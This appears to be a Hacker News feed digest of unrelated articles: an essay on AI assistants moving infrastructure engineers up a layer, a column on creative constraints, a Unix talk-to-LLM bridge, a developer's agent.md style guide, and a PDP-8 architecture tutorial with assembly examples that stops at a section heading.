I don’t think that’s quite the right question, because we’ve already lived through a version of it.

We’ve Been Here Before

Did Kubernetes kill Ansible? Kind of. I haven’t written an Ansible playbook in years - if you handed me one right now I’d be squinting at the module syntax like I’d never seen it before - not because configuration management stopped mattering, but because Kubernetes made server management easy enough that we stopped building our own node images at all - we just use whatever the cloud provider hands us, an AWS AMI built for us, no questions asked. And when did I last SSH into a node to debug something? Mostly never. If a node’s acting up, I kill it and hope the replacement doesn’t have the same problem. The next layer up went the same way: run a container on ECS Fargate, in a Lambda, or on Cloudflare Containers, and I genuinely don’t know or care what node it landed on - but that doesn’t mean nobody’s orchestrating it, it means I still decided that workload should be a container in the first place, what image it runs, what it’s allowed to talk to, how it scales, what happens when it fails. Kubernetes and serverless containers didn’t remove that layer of decisions, they moved the unit of work up from “the machine” to “the workload,” and everything below that layer got quietly automated away.

Nobody would say Kubernetes, or Fargate, or Cloudflare’s container platform, replaced infrastructure engineers. Each one replaced a specific layer of manual work - hand-building images, hand-patching boxes, knowing which node a workload landed on - and the engineers moved up to the layer above it every time. I think AI is doing the same thing again, one layer higher.

What Changed Day to Day

I use Claude daily to generate Helm charts and write Terraform modules. The part it actually removed from my day isn’t the thinking - it’s the lookup work. I don’t read through the AWS provider’s changelog to figure out what changed between v5 and v6 anymore; I describe what I want, in whatever shape I want the module or chart to end up, and Claude produces a version of it. It takes iteration to get it into the shape I’d actually ship, but once it’s there, it becomes the example for next time - especially with an AGENTS.md in the repo pointing at it.

The same thing happened one level down a while ago: I don’t hand-write raw Kubernetes YAML any more than I hand-write Ansible modules - that’s what Helm charts are for. Increasingly, I don’t hand-write the Helm chart either. I direct what it should do, and Claude writes it.

What Hasn’t Changed

I still need to know what a good Terraform module or a well-structured Helm chart looks like. I still need to be able to SSH into a node when something genuinely goes wrong and killing the pod isn’t an option - the layer above doesn’t remove the layer below, it just moves how often you have to touch it. And I’m still the one deciding the actual shape of things: what the final version of a module looks like, what’s maintainable a year from now, how a chart should be deployed and versioned. AI does the time-consuming part. I still give the direction.

The Skill You Trade Away

The honest tradeoff: I’m faster at building and debugging things than I was two years ago, and I’m also visibly rustier at the fundamentals underneath that speed. My HCL syntax recall isn’t what it used to be. Four years ago I hand-wrote a nested for loop - four levels deep, tagging subnets across regions and availability zones in another AWS account - and it took me about an hour to get the syntax right:

locals {
  subnet_tags = merge([
    for account, regions in var.accounts : merge([
      for region, azs in regions : merge([
        for az, subnets in azs : {
          for subnet_id, tags in subnets :
          "${account}/${region}/${az}/${subnet_id}" => tags
        }
      ]...)
    ]...)
  ]...)
}

Four merge([...]...) calls stacked on top of each other just to flatten a map of a map of a map of subnets. Claude writes the equivalent in seconds now, and if you asked me to produce that from scratch today, I’d genuinely have to sit and think about it. My reflexes for debugging a broken node over SSH are a little slower than when that was the only way I knew how to do it. That’s not a hypothetical cost - it’s one I can feel happening in real time, the same way plenty of engineers who came up after Kubernetes never really learned to hand-roll a server image, and were fine, because they never needed to.

Where This Goes Next

The part I’m less sure about is how long “I still give the direction” holds. Right now I’m the one who decides the long-term shape of a stack, because I have the context and the agent doesn’t - not really, not beyond what’s written down in a repo’s AGENTS.md . But that’s exactly the gap those company-wide AI pushes are trying to close: give the agent the whole context, not just one repo’s. If that actually works, an agent with a genuine long-term view of the entire infrastructure - not just this Terraform module, but every decision made across every repo for years - might end up planning better than I do, the same way I can’t out-debug a tool that’s read every changelog for every provider I use.

Kubernetes didn’t replace infrastructure engineers, it replaced a layer of their work and moved them up one. I don’t think AI replaces engineering either. I think it’s still busy eating the layer just below “give direction” - and I’m not fully convinced that’s the last layer it eats.

Explain it to me like I'm ten

Hacker News
timharford.com
2026-08-23 14:08:13
Comments...
Original Article

In 2012, the creator of the xkcd cartoon Randall Munroe unveiled Up Goer Five — a detailed diagram of the Saturn V rocket, annotated using only the most common 1,000 (sorry, “ten hundred”) words in the dictionary.

It was a viral hit, as was the follow-up book, Thing Explainer (2015), and it produced an intriguing reaction from the science-communication community, who are among the most enthusiastic of Munroe’s many fans. First, there was a burst of people trying to explain their own fields using the same constraint. Then came the backlash.

“Condescending”, wrote one science blogger. “By talking down to our audience, we risk alienating them, and reinforcing the common preconception that scientists consider and hold themselves apart from non-scientists.” The great science writer Carl Zimmer criticised the craze (not the cartoon) for encouraging the idea that there was anything useful in the constraint. The craze was, he argued, a disheartening waste of time for any scientist trying to figure out how to explain their field to a lay audience, because they might wrongly conclude that it was hopeless to try.

Well, maybe. Up Goer Five is tremendous fun but more puzzling than pellucid. The typical three-year-old can recognise 1,000 words, and there is nothing particularly clarifying about trying to explain something complicated while limiting oneself to the vocabulary of a three-year-old.

Nevertheless, unreasonable-seeming constraints can produce surprisingly powerful results. The artist and writer Theodor Geisel was once given the challenge of writing a book for six-year-olds while deploying no more than 225 different words from a short list. At first, Geisel was frustrated at the lack of adjectives; it was “like trying to make a strudel without any strudels”. But then, as David Epstein explains in his book Inside the Box: How Constraints Make Us Better (2026), he grabbed the first two rhyming words and went for it. The result, The Cat in the Hat (1957), made Geisel — better known as Dr Seuss — a phenomenon. Green Eggs and Ham (1960) is even better, and while it is packed with crazy situations, it contains only 50 unique words, making Up Goer Five seem positively lexiphanic. (Dr Seuss took on that challenge to win a bet.)

In the arts, the value of constraints is not a new idea. Monet almost never used black paint. Bach tied himself in knots with self-imposed rules, and part of the joy of his music comes from hearing him untie and retie them with ease. Miles Davis recorded Kind of Blue (1959) with no rehearsal, minimal composition and used the first take of each piece.

But when it comes to a more practical problem, is it really tenable to impose needless constraints? Perhaps it is. The simplest constraint for anyone trying to explain a complex topic is to accept the request to “explain it to me like I’m 10 years old”. What’s packed into that request is, vividly exaggerated, the reminder that what seems obvious to an expert is often incomprehensible to the listener. Technical jargon and fusillades of acronyms are often used to convey an explanation that has been denuded of all the foundations and context that might allow it to make sense.

Worse, in a kind of inverted Dunning-Kruger effect, the very expertise that makes the expert worth consulting also makes it hard for the expert to imagine what it was like to know nothing about the topic.

Hence “explain it to me like I’m 10 years old”. If you are reading this column you definitely aren’t a typical 10-year-old, but the image of the bewildered 10-year-old gives the expert an anchor to help them slow down and simplify. My book, The Truth Detective , was supposed to be a version of How to Make the World Add Up for 10-year-olds. My wife tells me she prefers it to the one that was for the grown-ups.

What is true in technical communication may also be true in design. David Epstein describes the moment the US Army tried to adapt its body armour for female soldiers. As Caroline Criado Perez forcefully argues in Invisible Women , women are not merely scaled-down men and are not well served by equipment designed for men. But as the US Army started grappling with that challenge, they discovered some surprising benefits. They were able to replace 11 sizes of body armour with just eight sizes by making the armour a modular mix-and-match system. This simplified manufacture and logistics while greatly expanding the options available to an individual soldier.

Meanwhile, many of the men in the army found the “female” modules a better fit — a narrow vest gave room to soldier a rifle, while a notch in the back of the helmet designed to accommodate hair buns allowed all soldiers, regardless of hair-do, to raise their heads while prone. “A new, more meticulous sizing process that benefitted women benefitted everyone,” Epstein writes.

A similar story can be told about designing for people without a full range of mobility or senses. In 1972, design professor Marc Harrison and his students produced a demonstration house full of features that accommodated users with special needs — flat thresholds between rooms made life easy for wheelchair users and people on walking frames; levers on taps and door handles are easier to use for people with a weak grip. But, of course, levers are easier for anyone to use — try twisting an old-fashioned doorknob with a cup of coffee in each hand.

Subtitles help people who can’t hear what the actors are saying — and it turns out that, for some gritty dramas, that is all of us. Web pages that are designed with screen readers for the blind in mind are typically better structured, simpler and friendlier for mobile devices. The Oxo kitchen appliance company was founded by a retired cookware entrepreneur whose wife had arthritis, but the chunky rubber handles are far more widely enjoyed. And of course, the dropped kerb may be life-changing for wheelchair users but it is pretty convenient for anyone pushing a pram.

The challenges faced by users who are unusually small, large, old or young, or who have disabilities, are, writes Epstein, “more extreme versions of the challenges that many other users face”.

Of course, we should not make the mistake of arguing that the reason we should design for disabled people is to help the majority, or that we should design for women because of the benefits for men.

But in a world where it is often hard to put ourselves in the shoes of someone else, the challenge of explaining the world to a 10-year-old, or designing a jar that an octogenarian can open, is sometimes just a prompt to do a better job of what we were trying to do in the first place.

Written for and first published in the Financial Times on 15 July 2026.

Predicting AI model release dates with stats

Hacker News
releaseoracle.xyz
2026-08-23 14:01:30
Comments...

I turned Unix talk from 1983 into the interface for my AI

Hacker News
en.andros.dev
2026-08-23 14:00:20
Comments...
Original Article

After writing yesterday's article about the talk command , I realized there is a poetic bond between the past and the future: talk transmits character by character, and an LLM emits token by token in streaming. It is candy for any programmer.

So I built a little bridge. If someone runs talk ai@host-where-the-ai-lives from the VPN, an AI answers on the other side.

Cool, don't you think?

The architecture

The trick is to sit in the middle. The server runs the real talk inside a pseudo-terminal (PTY) and reads the human's half with a terminal emulator ( pyte ), which turns talk 's output into a virtual screen I can query. When the human presses Enter, that line is sent to the model, and the reply comes back injected character by character as it arrives in streaming. They fit without friction.

flowchart LR
    H["Human
talk ai@host
split screen, live"] subgraph VPN["Server"] D["talkd
(inetd)"] B["bridge.py
pyte reads the human
Enter = end of turn
types the AI live"] end P["An AI API"] H <-->|"UDP 518, ntalk (negotiation)"| D H <-->|"direct TCP (text stream)"| D D -->|PTY| B B -->|"request"| P P -.->|"response (streaming)"| B

So that talkd recognizes the AI as just another user, the container registers its terminal in utmp on startup. Without that detail, a talk ai@host would reply "not logged in" .

It is just a toy

Watching it work is strange and beautiful in equal parts: a technology more than forty years old, revived by a VPN, now talking to a language model that types just like a human would on the other side. It could surely go further, but it is only a silly experiment that made me smile.

Do you want to read what I never publish?

I send what does not fit in the articles: full configurations, messy notes and whatever I am testing right now. No spam, no sales funnels.

Send an email to newsletter@andros.dev with the subject SUBSCRIBE and you are in.

To unsubscribe, send UNSUBSCRIBE to the same address.

Help me keep writing

Every coffee gives me a push toward the next article.

My agent.md to improve LLM-assisted code quality

Hacker News
fabiensanglard.net
2026-08-23 13:59:52
Comments...
Original Article

Aug 21, 2026

My agent.md to improve LLM-assisted code quality

The first time I tried to use an LLM to speed up coding was in mid-2025. I was not impressed. I was working on libadbmdns back then, an mDNS implementation in Rust. The code produced would not even compile.

I revisited LLMs in January 2026. This time it worked better. Not only did it write a complex indexed-binary heap class, it was able to pinpoint an obscure bug in the polling crate due to the Windows IOCP implementation.

However, the code quality was abysmal. It was spaghetti code with no comments and no structure. It was cool but not realistic to work with LLMs if the speed gain was lost to cleaning up the code until it met the production-level bar.

Iterating and repeating myself over and over again

In March 2026, I tried to use agentic IDEs like Antigravity and VS Code's Claude Code plugin. I was now able to "iterate" over the "staged" code. I found myself reviewing the code of an infinitely patient junior CS major with suggestions like "don't use magic numbers", "add a short comment here to explain yourself", or "use short function names".

The code quality improved dramatically. It was very close to what I would have produced "by hand" but it was tedious. I ended up repeating myself over and over again in each new session.

Agent.md to the rescue

When a coding session starts, the coding harness loads a file named agent.md and injects it into the prompt. This is the perfect location to super fine-tune coding style preferences. When I found myself repeating the same suggestion to improve the code, I added it in there.

Here is my version of agent.md as a starting point if you need one. Placing it in the root of a project should be enough. Alternatively, gemini.md/claude.md can be symlinked toward an agent.md to have it active anywhere.

# FAB's AGENT.MD

- When writing something intended for human consumption, (comment, commit message, reply to prompt) use as few words as possible. Pick every word meticulously to reduce the volume to a strict minimum. Be down to the point. Less is more.

- Avoid superlatives and praise. Stop telling me I am absolutely right. Give me the cold hard truth.

- Avoid magic numbers and strings by extracting recurring or meaningful values into descriptive constants (const) or enums. Keep self-explanatory, one-off values inline to avoid clutter. If a value comes from a spec (e.g. HTTP 200 OK), use a constant regardless.

- Reduce code indentation. Avoid Arrow Anti-Pattern. Leverage early return and continue.

- Keep function names short. Less than 30 characters.

- Use enums instead of booleans for function parameters.

- Let the reader of the code breathe. Add empty lines between logical blocks of code.

- Add a small, to the point, comment to explain *what* the block does and *why*. Use examples when possible. Propose ASCII drawings to explain complete systems.

- Treat member visibility changes as a breaking design shift. Keep all fields and functions private unless external access is strictly required by the design. Prompt the user for explicit approval before changing any access modifier from private to internal or public.

- Program to levels of abstraction. Lower-level mechanics (e.g., raw hardware I/O, sector parsing, direct socket streams) must be encapsulated in a dedicated driver/abstraction layer. Expose clean, high-level APIs to the rest of the application so calling code works with domain concepts, not raw implementation details.

- Don't touch blocks of code unrelated to the feature you implement. e.g. Don't add comments to a block of code if you did not create it or modify it. As much as possible try to minimize the number of changed lines when implementing a feature.

- Strictly adhere to the layered boundary hierarchy: each layer may only communicate with its immediate neighbor directly below it. Never "punch holes" through layers (e.g., controllers or UI components must never directly call database queries, raw hardware drivers, or low-level network clients; always route through the intermediate service/abstraction layer).

- Always use {}, even on a one-line "if" statement.

When you write a commit message, follow these 7 rules:
Rule 1: Separate the subject line from the body with a single blank line.
Rule 2: Limit the subject line to 50 characters (72 is the absolute hard limit).
Rule 3: Capitalize the first letter of the subject line.
Rule 4: Do not end the subject line with a period.
Rule 5: Use the imperative mood in the subject line (e.g., "Fix bug," "Add feature," 
        not "Fixed" or "Adds"). Test formula: It must complete the sentence: "If applied,
        this commit will [your subject line here]".
Rule 6: Wrap the body text manually at 72 characters to prevent Git formatting issues.
Rule 7: Use the body to explain what and why vs. how. Assume the code explains the how;
        the message must explain the context and reasoning. 

- If the prompt indicates that a bug is being fixed, don't write the fix right away. First write the test. Observe it failing. Then write the fix. And observe the test passing.        

While this "trick" has considerably improved the code generated, this is not a magic bullet that lets me avoid reading the code. LLMs constantly hallucinate and cannot be trusted. I still have to verify and iterate a lot but now I usually focus on architecture and design instead of code style.

How to deal with dilutions

There is an annoying phenomenon with LLMs called "context dilution" or "attention dilution" that was outlined in the Lost in the Middle paper. As the context grows, a model starts paying less attention to instructions in the middle of the context in favor of what is at the beginning and the end. The reasons why this happens are not well understood at the time I am typing this. I have found only two ways to minimize the impact.

  1. Keep the context short. This means starting a new session per feature.
  2. Explicitly ask the harness to reload agent.md . "Reload agent.md" is enough when I see code quality dropping.
Auto-update agent.md

You don't need to open an editor every time you want to add a new rule. What I do now is ask the agent to update agent.md.


*

From Front Panel to Program: Thinking Like a PDP-8

Hacker News
pikuma.com
2026-08-23 13:59:23
Comments...
Original Article

Transistors, logic gates, flip-flops, full adders, registers, an accumulator, memory, and blinking LEDs. The PDP-8 is a great machine to learn how traditional digital electronics and computer architecture works.

🎁 Giveaway

Win a PiDP-8 Replica!

PiDP-8 Replica

One lucky winner will receive a PiDP-8 replica

The giveaway closes September 20 . The winner will be selected after the campaign ends.


There is something deeply satisfying about looking at an old machine and realizing that, underneath all the blinking lights, switches, registers, and instructions, it is still possible to fully grasp the fundamental building blocks of a traditional computer.

If you're not new here, you probably know that, in our school, we often look back in time to understand how technology evolved. Studying the early days of computing allows us to take advantage of a type of simplicity that can only be found in older and more rudimentary systems. Even though modern technology is extremely complex, computers are, ultimately, just a very large collection of tiny circuits that manipulate bits. Retro architectures are a great way to fully grok the basic concepts of digital circuits and computers.

Computers are huge abstraction machines. You can start by understanding how electricity works and how it behaves, then we proceed to understand how transistors can behave like switches, then how a handful of transistors can form logic gates, then how logic gates can form adders, multiplexers, latches, and registers. We connect these circuits together to form an arithmetic & logic unit, then we add a control unit, some memory, and a clock, and suddenly we have a simple but working CPU.

From silicon to CPU

A textbook CMOS 1-bit full adder circuit example

Note: This blog post assumes you're familiar with terms like program counter, stack, flip-flops, registers, full-adders, and ALU. That being said, if you are looking for a set of comprehensive, in-depth lectures on digital electronics & computer architecture, you should visit our

courses

page.

A great example of computer that is simple enough for us to dissect how basic digital circuits work is the DEC PDP-8 . Introduced in 1965, the PDP-8 is a classic, textbook example of an accumulator-based architecture, and it was one of the most influential early minicomputers. More importantly for us, its architecture is small enough that we can understand a surprisingly large part of the machine without getting buried in complexity.

The PDP-8 is a 12-bit computer that has a tiny instruction set, a single main accumulator, a peculiar memory-addressing scheme, a one-bit link register, instructions that perform several jobs at once, and even a handful of registers that aren't actually registers at all.

And perhaps the strangest thing about it is that these aren't arbitrary historical oddities. They are the consequences of trying to build a useful computer out of expensive hardware.

A Computer Small Enough to Sell

To understand the PDP-8, we need to go back to the early 1960s.

PDP-8 minicomputer from University of Melbourne

University of Melbourne's PDP-8 computer

Computers were expensive machines. A typical computer belonged in a computer center, not on someone's desk. The idea of buying a general-purpose computer for a laboratory, factory, or engineering department was still unusual.

Digital Equipment Corporation , founded in 1957 by Ken Olsen & Harlan Anderson, was already building smaller computers. Its PDP-5, introduced in 1963, was an important predecessor to the PDP-8.

Headquarters Digital Equipment Corporation

Headquarters of Digital Equipment Corporation from 1957 to 1992

The PDP-8 arrived in March 1965 and pushed the idea much further. It was a 12-bit general-purpose computer that could be purchased for around $18,000, which was dramatically less than the machines that dominated computing at the time.

The first PDP-8 used discrete transistor logic rather than a microprocessor. Its CPU was constructed from small plug-in circuit modules known as Flip-Chips , connected through wire-wrapped backplanes.

PDP-8 flip-chip module

Flip-chip module

The flip-chip register slice above contains 8 bits of storage and 2 bits of an adder. It was used in the PDP-8/I (successor to the PDP-8) which had IC logic circuits.

It was therefore a computer in the most literal sense. You could open the machine and see the circuitry that implemented the processor. There was no CPU chip hiding underneath a heat spreader. The central processing unit was the collection of circuit boards.

Why 12 Bits?

Today, 8, 16, 32, and 64-bit computers feel natural, while 12 bits might feel strange. But 12 is actually a very convenient number for the PDP-8.

A 12-bit word gives us 4096 (2¹²) possible values. More importantly, 12 divides nicely into three groups of four bits. That makes the machine's binary representation fairly compact and convenient for its designers and programmers.

The PDP-8's original memory contained 4K words of 12-bit core memory, which gives us a machine where an entire word is small enough to understand, but large enough to hold a useful instruction, a character-oriented value, or a small integer.

The 12-bit architecture was retained throughout the PDP-8 family even as the implementation technology changed dramatically.

A Family of PDP-8s

Before we continue, it's important to point out that, when we talk about the PDP-8, we're actually talking about a whole family of machines. I want to get this out of the way now, because you'll see many images online (including the ones in this article) and they might be from different models of PDP-8.

DEC kept the basic 12-bit architecture remarkably consistent, but the electronics underneath changed quite dramatically over the years. Some models were cheaper, some were faster, and some were essentially experiments in how to build the same computer with less hardware.

The Original PDP-8

The original PDP-8, introduced in 1965, was built from discrete transistor logic and magnetic-core memory. It was a relatively compact machine for its time, but its CPU was still made from a large collection of individual circuit modules. This is the machine that established the PDP-8 architecture and helped make the minicomputer commercially successful.

The PDP-8/S

The PDP-8/S, introduced in 1966, took a particularly interesting approach Instead of building a wide, parallel arithmetic unit, the 8/S performed many operations serially , one bit at a time. This saved circuitry and therefore reduced the cost, but it also made the machine considerably slower. It's a great example of an architectural idea surviving while the underlying hardware is radically rearranged.

PDP-8/S

PDP-8/S front panel

The PDP-8/I

The PDP-8/I moved the design toward integrated circuits (ICs), making the computer smaller, cheaper, and more practical. Rather than constructing the processor from the earlier discrete-transistor modules, DEC could now use integrated logic to pack much more functionality into a smaller space.

PDP-8/I

PDP-8/I front panel

The PDP-8/E

The PDP-8/E, from 1970. was one of the most important models because it became the basis for a large ecosystem of PDP-8 systems and peripherals. It used newer IC technology, had a modular backplane, and could be expanded with a wide variety of memory and I/O options. The large machine in the photograph below is an example of the kind of system that could be built around the 8/E architecture.

PDP-8/E

PDP-8/E front panel

The PDP-8/F

The 8/F was essentially a lower-cost version of the 8/E. It retained the PDP-8 architecture but simplified the physical implementation and packaging. DEC was becoming very good at taking the same architectural idea and finding cheaper ways to manufacture it.

PDP-8/F

PDP-8/F front panel

The PDP-8/A

There was also thePDP-8/A, which pushed the idea of a small, inexpensive PDP-8 even further. It was designed around newer technology and was particularly attractive for OEMs and embedded-control applications. By this point, a PDP-8 didn't necessarily look like the large minicomputer we might imagine from photographs of early systems—it could be a relatively compact computer hidden inside another machine.

PDP-8/A

PDP-8/A front panel

One important thing to notice is that these machines were not simply a sequence of increasingly powerful CPUs. In many cases, DEC was keeping the programming model stable while changing the implementation underneath it. A program written for the PDP-8 architecture could therefore survive several generations of hardware. The electronics could change from discrete transistors to integrated circuits, the memory could change, the packaging could change, and the machine could become dramatically cheaper, while the programmer could still think in terms of the same 12-bit accumulator, program counter, LINK bit, memory-reference instructions, and I/O instructions.

This stability was one of the reasons that the PDP-8 family is so interesting from an architectural perspective. The different models are almost like experiments in implementation: "How cheaply, quickly, or compactly can we build essentially the same computer?"

PDP-8/E Field Guide

This is a fully-configured PDP-8/E , DEC's mid-1970s 12-bit minicomputer. This was arguably the machine that made "minicomputer" an affordable word. What looks like one cabinet is three bays bolted together: processor and paper-tape I/O on the right , DECtape storage in the middle , and disk storage on the left . Tap any numbered lamp for details.

Front view of a three-bay DEC PDP-8/e minicomputer cabinet, with operator console, DECtape drives, RK05 disk drives, and a paper-tape reader/punch, annotated with ten numbered callouts.

1

Model nameplate

Digital Equipment Corp's builder's plate, identifying this exact machine as a PDP-8/E . The matching orange-to-gold stripe repeats across the top of all three bays, color-coding them as one system rather than three separate cabinets.

2

CPU & operator's console

The processor itself lives behind this panel, on the Omnibus backplane (along with its core memory). The amber lamps display the live contents of the memory-address register , so you're watching the CPU's program counter tick in real time. The toggle switches below are the switch register, used to key in a bootstrap address or deposit/examine memory by hand.

3

Paper-tape reader/punch

A high-speed paper-tape I/O unit (popularly called "the PUNCH ") control is visible at lower right. Before disks were standard equipment, punched paper tape was the everyday way programs and data moved in and out of a PDP-8.

4

Spare reel storage

An empty, spring-loaded reel rack sized for the same small reels used by the DECtape drives at center (currently unloaded).

5

DECtape control & status panel

Diagnostic lamps for the DECtape controller's internal logic (not user data). Visible legends include WC (word count) and STATE , tracking the controller's read/write sequencing as it services the drives below.

6

DECtape reel storage

Reels for DECtape proper. This was a lower-capacity but block-addressable format, popularly called the "tape you could compute on." Unlike ordinary magnetic tape, it supported random access and safe read-while-writing.

7

TU56 DECtape transports

Two dual-transport decks stacked here (four tape units in total). Each transport has its own WRITE ENABLE and REMOTE/LOCAL switches. DECtape was DEC's affordable answer to semi-random-access storage in the years before disk drives were cheap enough for every system.

8

RK05J disk-cartridge drives

Two disk drives, each labeled decpack RK05J . Every drive takes one removable, top-loading disk cartridge (racked just above). This was roughly 1.6MB per pack, which was a serious leap over tape for running an OS and holding files.

9

Disk-cartridge storage

Spare RK05 cartridges racked directly above their drives, hand-labeled by whoever ran this system.

10

Blank filler panels

The large plain panels repeated through all three bays aren't dead space. They're covers over the card cage, wiring, and power supplies doing the real work behind each visible control panel.

Let's take a look inside the PDP-8's CPU to better understand its electronics and its computer architecture.

The PDP-8 CPU is Tiny

If you look at a modern CPU architecture diagram, you'll find a bewildering collection of registers.

PDP-8 is almost comically different. The programmer-visible core of the machine includes a 12-bit program counter , a 12-bit accumulator , and a single link bit . There were additional registers in the hardware, but many things that we'd expect to be registers are instead implemented using memory.

Memory is cheap compared to building more CPU state.

Well, relatively cheap. In 1965, adding another register wasn't something you casually did. A register meant more circuitry.

So, instead of giving the programmer eight general-purpose registers, the PDP-8 gives you one accumulator and asks you to use memory for everything else.

It was inconvenient, but it was also incredibly economical.

Essential PDP-8 Instructions

The PDP-8 has a wonderfully small instruction set. Every instruction is exactly 12 bits wide, with the first three bits broadly identifying the instruction group.

Only Eight Basic Opcodes

Here's another PDP-8 curiosity. The "instruction word" is only 12 bits wide, and the first three bits determine one of eight primary instruction groups:

000: AND   // Logical AND
001: TAD   // Twos-Complement ADD
010: ISZ   // Increment and Skip if Zero
011: DCA   // Deposit and Clear Accumulator
100: JMS   // Jump to Subroutine
101: JMP   // Jump
110: IOT   // I/O Transfer
111: OPR   // Operate on Bits

That's it. Only eight!

At first, this looks absurdly small. But for the PDP-8, several of these aren't really single instructions; they are instruction families .

The table below contains some of the most important instructions needed to understand the examples and architectural ideas discussed in this article. Note how the first three bits of the instruction are really the main group to which it belongs.

Op Meaning 12-bit What it does
AND Logical AND 000 I Z AAAAAAA AC ← AC AND M[address]
TAD Two's complement Add 001 I Z AAAAAAA AC ← AC + M[address] , with overflow/carry affecting LINK
ISZ Increment and Skip if Zero 010 I Z AAAAAAA Increment a memory word; skip the next instruction if the result is zero
DCA Deposit and Clear Accumulator 011 I Z AAAAAAA M[address] ← AC , then AC ← 0
JMS Jump to Subroutine 100 I Z AAAAAAA Store the return address in memory and jump to the subroutine
JMP Jump 101 I Z AAAAAAA PC ← address
IOT Input/Output Transfer 110 DDDDDD OOO Communicate with an I/O device; the device and operation are encoded in the instruction
OPR Operate 111 xxxxxxxxx A family of instructions where individual bits select operations on AC and LINK
CLA Clear Accumulator 111 1 00000000 AC ← 0
CLL Clear Link 111 0 10000000 LINK ← 0
CMA Complement Accumulator 111 0 01000000 Invert every bit in AC
IAC Increment Accumulator 111 0 00000001 AC ← AC + 1
RAR Rotate Right 111 0 00001000 Rotate the combined 13-bit LINK:AC value one position right
RAL Rotate Left 111 0 00000100 Rotate the combined 13-bit LINK:AC value one position left
HLT Halt 111 1 00000010 Stop the processor

For the six memory-reference instructions ( AND , TAD , ISZ , DCA , JMS , and JMP ), the format is particularly important:

12-bit PDP-8 memory reference instruction

The I bit selects direct or indirect addressing . The Z bit selects either page zero or the current page . The final seven bits select one of the 128 words within that page.

This compact format is one of the reasons the PDP-8 is so interesting: an entire instruction, including its opcode and addressing information, has to fit into just 12 bits .

Note: I have decided to list these PDP-8 opcodes using mnemonics , like JMP or TAD . These mnemonics are useful and can be used when an assembler is present, but PDP-8 programmers would often need to enter these instructions using raw machine code via the front panel or via paper-tape.

The Accumulator: The Center of the PDP-8 Universe

The PDP-8 is a classic example of an accumulator machine. Its accumulator, AC , is 12 bits wide. Almost all arithmetic and logical operations revolve around it.

For example, the simple two's-complement addition instruction ( TAD ) below:

Boils down to:

AC ← AC + Memory[X]

The accumulator will store the result of the addition operation performed between the accumulator itself and the content from a memory location.

The accumulator is both one of the source operands of the addition and the destination where the final result is stored.

This use of an accumulator as the center of arithmetic & logic instructions was fairly common in early architectures. The name "accumulator" goes back to early computing and electromechanical/calculating-machines. It became especially prominent in stored-program computers such as the EDSAC , Manchester Mark 1 , and later, the PDP-8.

A single accumulator is more than enough for us to compute expressions that require multiple operands. For example:

A ← 5
B ← 7

On a modern processor (with enough CPU registers), you might see something like:

R0 = R1 + R2

On the PDP-8, there isn't a general-purpose register file waiting to do this.

Instead, you might write:

     CLA
     TAD A
     TAD B
     DCA RESULT

The CPU clears AC, adds A into it, adds B into it, and deposits the result back into memory.

Conceptually:

AC ← 0
AC ← AC + A
AC ← AC + B
RESULT ← AC

The architecture is forcing you to see something that modern CPUs tend to hide:

Arithmetic is really data movement plus a relatively small amount of computation.

If you ever studied 6502 programming with us, using an accumulator register should be second nature to you.

Signed or Unsigned?

As you saw, the weird-named instruction used to add a memory operand to the accumulator is TAD . The mnemonic comes from Two's-complement Add .

And this is more interesting than it initially sounds. The PDP-8 doesn't have separate instructions for signed and unsigned addition. It simply performs binary addition using two's-complement arithmetic.

At the hardware level, that's wonderfully convenient, since the same adder circuit can handle both positive and negative values. There isn't a "signed integer adder" and an "unsigned integer adder." The interpretation belongs to the programmer.

The LINK Bit

The accumulator has another interesting companion: the LINK bit.

Together, LINK and AC effectively form a 13-bit arithmetic register.

The reason for that is that, when we add two 12-bit numbers, the result might require an extra bit.

For example:

  111111111111
+
  000000000001
 -------------
 1000000000000

We can't fit that result into 12 bits. Therefore, the extra bit becomes the carry.

The LINK bit is not just a carry bit. Because LINK participates in the arithmetic model, the programmer can manipulate it. This makes it useful when implementing arithmetic using numbers larger than 12 bits.

For example, if you want to add two 24-bit numbers, you could store each number in two 12-bit words (HI and LO). You add the low words first; the carry appears in LINK. Then you add the high words and incorporate that carry. This way, our software can construct a 24-bit adder out of a 12-bit adder.

PDP-8 link bit

24-bit addition with the help of the LINK bit

How was the PDP-8 Programmed?

The earliest way of programming one was much more primitive, and there are really three stages of programming style for the PDP-8 worth separating:

  • Front-panel programming
  • Paper-tape machine code
  • Assembly language and assemblers
1. Front panel

At first, you could literally enter the program in binary. The original PDP-8 had a front panel with switches. You could set the switches to represent a 12-bit word, press the appropriate controls, and deposit that word into memory.

PDP-8 front panel

PDP-8 front panel

If you wanted memory location 0200 to contain an instruction, you'd manually enter its binary representation:

101 001 000 001

You'd set the switches, load the address, deposit the word, increment the address, and repeat. Essentially machine-code programming by hand.

It was wonderfully educational but not optimal for writing anything substantial.

2. Paper tape

As technology and processes evolved, programs could also be stored on punched paper tape. You could punch a sequence of 12-bit words onto tape and load it into the machine. This made it possible to save programs and bootstrap more sophisticated software.

The PDP-8's early software ecosystem was heavily based around paper tape. Later systems could use other storage devices, including DECtape and disk systems.

3. Assemblers

Things became much nicer with assemblers. Instead of writing raw binary, you could write something like:

     CLA
     TAD VALUE
     DCA RESULT
     JMP LOOP

VALUE,  5
RESULT, 0

And have an assembler translate the mnemonics into the 12-bit machine instructions.

DEC provided assemblers for the PDP-8 family, and one of the important early ones was PAL (PDP-8 Assembly Language) system.

Toward the end of the PDP-8 era, operating systems such as OS/8 and COS-310 allowed a traditional line-mode editor and command-line compiler development system using languages such as PAL-III assembly language, FORTRAN, BASIC, and DIBOL.

Fibonacci Sequence in PDP-8 Assembly

It's a rite of passage for any programmer learning a new assembly dialect to write a small program that computes and stores the following sequence in memory.

1, 1, 2, 3, 5, 8, 13, 21, ...

Here is a straightforward version:

     *0200

     CLA
     TAD ONE
     DCA A

     TAD ONE
     DCA B

LOOP, CLA
     TAD A
     TAD B
     DCA NEXT

     TAD B
     DCA A

     TAD NEXT
     DCA B

     JMP LOOP

A,    0
B,    0
NEXT, 0
ONE,  1

Note: I'm sure most of our readers are aware that the above program is not going to calculate Fibonacci numbers forever. Since the PDP-8 has 12-bit words, and arithmetic is performed using two's-complement representation, a signed integer can represent values from -2048 to +2047. Therefore, our sequence will eventually overflow and values will wrap around.

The version above is intentionally simple. An improved PDP-8 program could:

  • Print the Fibonacci numbers through the console teletype
  • use ISZ (Increment and Skip if Zero) to implement a loop counter
  • Jump to a subroutine with JMS for output
  • Handle multi-word integers so we can calculate numbers larger than 2047
  • Use indirect addressing (I bit flag)
  • Store the entire sequence in a memory buffer

Doing More than One Thing

